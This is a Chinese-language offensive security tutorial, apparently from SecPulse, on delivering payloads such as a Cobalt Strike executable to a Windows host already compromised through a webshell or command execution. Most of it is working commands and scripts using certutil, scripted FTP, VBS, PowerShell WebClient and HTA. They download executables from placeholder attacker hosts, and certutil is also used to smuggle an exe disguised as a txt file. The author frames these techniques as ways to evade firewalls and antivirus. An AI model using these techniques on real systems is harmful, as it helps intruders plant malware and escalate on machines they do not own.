如果获得一台主机的webshell或者能够任意命令执行,但是想要拿下主机进行提权、权限维持或者要进行内网渗透,那就需要将载荷上传下载到主机上。下面我将介绍几种载荷上传下载的落地技术,这几种技术都巧妙的利用系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。
什么是certutil.exe呢?
certutil.exe是一个命令行程序,作为证书服务的一部分安装。和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链,能从远程URL下载证书或者其他文件。其使用语法如下:
certutil.exe -urlcache -split -f url
所以,当我们发现一个任意命令执行漏洞或者获得webshell的时候,可以使用这种方法来下载载荷。例如:
成功将443.exe这个cs载荷上传到目标机上。
certutil.exe还可将exe文件加密并保存到txt文件中,也可将加密之后的txt解密成原来的exe文件。使用语法如下:
加密 certutil -encode 443.exe 443.txt
解密 certutil -decode 443.txt 443.exe
那么又有了另外一种上传载荷的思路:如果有任意命令执行的漏洞,且有允许上传txt文件的地方,可以将加密之后的txt文件上传上去,然后通过任意命令执行漏洞将txt文件解密成exe文件,这样就成功将载荷上传至目标机。
顾名思义,在终端利用ftp传输,访问我们一个开通ftp协议的公网主机,然后下载这个公网主机上面的载荷。但是值得注意的是,由于ftp存在交互过程,得到webshell与任意命令执行利用这种技术的方法并不一样。
如果是获取了webshell,那么我们会简单很多
1、建立连接ftp xxx.xxx.xxx.xxx
2、输入用户名
3、输入密码
4、下载载荷 get xxx.exe
5、关闭ftp连接 quit
如果是任意命令执行,为了避免交互,我们可以将ftp开启为匿名访问,利用任意命令执行漏洞用echo命令写一个批脚本,最后在ftp连接下执行这个脚本,这样就成功下载了8080.exe这个载荷
echo open xxx.xxx.xxx.xxx>>ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 8080.exe >> ftp.txt
ftp -s:ftp.txt
由于vbs不需要特定的编译环境,在主机可以直接执行。所以我们编写一个可以下载载荷的vbs程序,将这个vbs程序上传到目标机,然后执行vbs程序即可下载载荷。
我们编写download.vbs程序如下,这个程序的作用就是将公网上的443.exe载荷下载到目标机上:
Set Post= CreateObject("Msxml2.XMLHTTP")
Set Shell= CreateObject("Wscript.Shell")
Post.Open"GET","
http://www.xxx.xxxx.xxx/xxxx/443.exe
",0
Post.Send()
Set aGet= CreateObject("ADODB.Stream")
aGet.Mode= 3
aGet.Type= 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile"C:\demo.exe",2
如果我们可以直接上传vbs程序那是再好不过,只需在终端执行这个程序。但是这种情况很少见,这时我们可以通过终端将这些代码通过echo命令一行一行写入download.vbs中。具体如下:
echo SetPost = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo SetShell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://www.xxx.xxx.xxx/xxx/443.exe",0>>download.vbs
echo Post.Send() >>download.vbs
echo SetaGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\demo2.exe",2 >>download.vbs
最后在执行download.vbs这个文件
cscript download.vbs
这样就 将载荷成功下载到目标机上。
如果可以执行powershell,那就省事多了,直接执行下载命令。
powershell(new-object System.Net.WebClient).DownloadFile(http:/xxx/xxx/443.exe,’c:\demo.exe’)
该方法与vbs下载原理相同,都是因为执行hta程序并不需要特定的环境,所以可以利用hta程序下载载荷。执行的方法也相同,如果能直接上传hta程序那再好不过,如果不可以那么也是通过echo命令一句话一句话写入。这里不做过的解释,给出download4.hta程序的代码。
<html>
<head>
<script>
varObject = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","
http://www.xxx/xxx/443.exe
",false);
Object.send();
if(Object.Status == 200)
{
var Stream = newActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\443demo.exe",2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATIONID="test"
WINDOWSTATE= "minimize">
</head>
<body>
</body>
</html>
执行这个程序,结果如下:
我们要做的就是想办法将载荷上传到目标机上,但是如果我们只是获取webshell或者命令任意执行,并不能自由的上传文件,所以我们可以将公网作为一个媒介,在公网上上传我们的载荷,然后通过终端命令将公网上的载荷下载下来。这里我们巧妙地用到了系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。
本文作者:菜鸡CaiH
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/130020.html